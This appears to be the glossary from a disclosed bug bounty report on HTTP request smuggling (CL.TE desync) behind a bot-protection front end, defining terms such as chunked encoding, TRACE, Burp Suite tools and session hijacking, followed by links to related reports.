  • Chunked encoding: a way of sending a body in pieces, each starting with its size, ending with a zero-size chunk.
  • CL.TE: a desync where the front end uses Content-Length and the back end uses Transfer-Encoding to measure a request.
  • Content-Length: a header saying how many bytes the body has.
  • Cookie: a small piece of text your browser stores for a site and sends back on every request, used to recognise you.
  • CSRF token: a secret value in a form proving the form came from the real site.
  • Desync / request smuggling: a flaw where two servers disagree about where one request ends and the next begins, letting an attacker hide a second request.
  • Distil Networks: a bot-protection service, later acquired by Imperva, that fronted the sites in this report.
  • Front end: the server or service that receives your request first and passes it to the back end.
  • GET: an HTTP method used to ask for something, usually without a body.
  • Header: a labelled line in a request or response carrying extra information.
  • Host: the header naming which website you want.
  • HTTP: the language browsers and servers use to exchange requests and responses.
  • Intruder: a Burp Suite tool that sends the same request many times automatically.
  • IP address: a numeric address identifying a machine on the internet.
  • Legal Entity form: the page at https://my.vulnerable.com/user/vendor/legal that saves vendor legal details and shows them back.
  • P1 / Critical: the highest severity rating, meaning the issue should be fixed urgently.
  • POST: an HTTP method used to send data, usually with a body.
  • Production: the real live site with real users.
  • Repeater: a Burp Suite tool that lets you send one request over and over by hand.
  • Response: the message a server sends back after a request.
  • Reverse IP WHOIS lookup: a public query that lists domain names pointing to a given IP address.
  • Session hijacking: using someone else's cookie or token to act as them.
  • Smuggled request: a hidden request an attacker inserts into another user's connection through a desync.
  • SSO: single sign-on, logging in once and being recognised by another related site, usually via a signed token in a URL.
  • Staging: a test copy of a site used before changes go live.
  • Token: a secret string proving who you are or authorising an action.
  • Transfer-Encoding: a header saying the body is sent in chunks rather than one fixed length.
  • TRACE: an HTTP method that echoes the request back, useful here to make a smuggled request visible.
  • Turbo Intruder: a faster Burp Suite add-on for very high volumes of requests.
  • urlencoded: the name=value&name2=value2 format browsers use to submit normal HTML forms, with special characters percent-encoded.
  • User-Agent: a header saying which browser and system you are using.
  • X-D-Token: a request header seen in the captured traffic, carrying a user's token.

More by Ankit Singh

View all

1 more disclosed report, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

Request smuggling and header injection

The lesson behind this report.

A front end and a back end split one connection's bytes into requests differently, letting an attacker hide a request inside another user's.